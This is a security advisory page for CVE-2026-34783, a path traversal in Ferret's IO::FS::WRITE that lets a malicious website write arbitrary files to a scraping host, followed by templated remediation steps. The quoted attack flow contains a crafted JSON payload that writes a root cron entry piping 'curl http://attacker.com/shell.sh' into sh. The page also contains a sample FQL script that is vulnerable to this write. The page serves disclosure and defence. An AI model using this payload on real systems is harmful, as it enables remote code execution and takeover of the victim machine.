Categories
CVE-2026-34783

Path Traversal in github.com/MontFerret/ferret/v2 (CVE-2026-34783)

Summary

Path traversal in github.com/MontFerret/ferret/v2 (CVE-2026-34783). Data can be tampered with by attackers. Exploitable via os.OpenFile. Mitigation: upgrade to 2.0.0-alpha.4 or later.

Original description

The description as published by the source.

Summary

A path traversal vulnerability in Ferret's IO::FS::WRITE standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing ../ sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells.

Exploitation

The attacker hosts a malicious website. The victim is an operator running Ferret to scrape it. The operator writes a standard scraping query that saves scraped files using filenames from the website -- a completely normal and expected pattern.

Attack Flow

  1. The attacker serves a JSON API with crafted filenames containing ../ traversal:
[
  {"name": "legit-article", "content": "Normal content."},
  {"name": "../../etc/cron.d/evil", "content": "* * * * * root curl http://attacker.com/shell.sh | sh\n"}
]
  1. The victim runs a standard scraping script:
LET response = IO::NET::HTTP::GET({url: "http://evil.com/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    IO::FS::WRITE(path, TO_BINARY(article.content))
    RETURN { written: path, name: article.name }
  1. FQL string concatenation produces: `/tmp…

Source: OSV.dev (Open Source Vulnerabilities) NVD GitHub Advisory OSV

Auto-generated summary

Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.

A vulnerability tracked as CVE-2026-34783 has been found in github.com/MontFerret/ferret/v2.
Attackers can target a specific entry point like os.OpenFile over the network to misuse the product.
Data can be tampered with by attackers.
What to do: upgrade github.com/MontFerret/ferret/v2 to 2.0.0-alpha.4 or later.
If unsure, ask your IT team or search "github.com/MontFerret/ferret/v2 CVE-2026-34783" on the vendor's site.

CVE-2026-34783 (github.com/MontFerret/ferret/v2) — CWE-22
Attack vector: remote (network-reachable) / unauthenticated
Attack surface: os.OpenFile / evil_server.py / scrape.fql / run_poc.sh
Patched: 2.0.0-alpha.4 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.

❓ What is the problem

Path traversal (CWE-22) exists in github.com/MontFerret/ferret/v2. Attackers reach the vulnerable code path via os.OpenFile without authentication.

📍 Affected scope

Check the vendor advisory for the affected versions of github.com/MontFerret/ferret/v2. Attack surface: os.OpenFile / evil_server.py / scrape.fql / run_poc.sh.

🔥 Severity

Severity: ?. Data can be tampered with by attackers.

🔧 How to fix

Update to 2.0.0-alpha.4.

🛡️ Workaround

Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.

🔍 Detection

Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'github.com/MontFerret/ferret/v2' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.

Response actions

Concrete steps and command examples for SOC/SRE teams to execute in order

  1. 1
    Identify exposure identify
    grep -r 'github.com/MontFerret/ferret/v2' . | grep -v node_modules

    リポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で github.com/MontFerret/ferret/v2 を grep し、稼働しているサービス・バージョンを把握する。

  2. 2
    Apply patch patch
    Upgrade github.com/MontFerret/ferret/v2 to 2.0.0-alpha.4

    ステージング環境で 2.0.0-alpha.4 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。

  3. 3
    Post-deployment verification verify
    Confirm patched version is live in production

    パッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。

Affected packages

Go github.com/MontFerret/ferret/v2
[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.0.0-alpha.4"}]}]
Go github.com/MontFerret/ferret
[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"0.18.1"}]}]

References

We use cookies for analytics and ad measurement. This setting applies to all Game co., Ltd. sites. Details